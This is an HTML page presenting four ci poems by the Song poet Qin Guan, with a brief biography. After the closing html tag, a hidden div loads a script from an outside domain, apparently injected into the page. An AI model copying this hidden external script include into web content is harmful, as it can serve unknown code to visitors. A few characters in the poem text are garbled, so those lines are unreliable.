<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-秦观</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>秦观</strong></span></div>

	<div class="Cont_tit sc">
		<h1>秦观</h1>
		<span>(1049-1100)，字太虚、少游，号淮海居士。高邮人。北宋文学家。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>浣溪沙</strong></div><div class="sc_det_cont">漠漠轻寒上小楼，晓阴无赖似穷秋，淡烟流水画屏幽。<br/>自在飞花轻似梦，无边丝雨细如愁，宝帘闲挂小银钩。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>减安木兰花</strong></div><div class="sc_det_cont">天涯旧恨，独自凄凉人不问。欲见回肠，断尽金炉小篆香。<br/>黛蛾长敛，任是春风吹不展。困倚危楼，过尽飞鸿字字愁。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>阮郎归</strong></div><div class="sc_det_cont">湘天风雨破寒初，深沉庭院虚。丽谯吹罢小单于，迢迢清夜徂。<br/>乡梦断，旅魂孤，峥嵘岁又除。衡阳犹有雁传书，郴阳和雁无。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>八六子</strong></div><div class="sc_det_cont">倚危亭，恨如芳草，萋萋}尽还生。念柳外青骢别后，水边红袂分时，怆然暗惊。无端天与娉婷。夜月一帘幽梦，春风十里柔情。<br/>怎奈何欢娱渐随流水，素弦声断，翠绡香减；那堪片片，飞花弄晚。蒙蒙残雨笼晴。正销凝，黄鹂又啼数声。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>秦观</span>&nbsp; &nbsp; 宋词翻页： [<a href="53_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/2</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>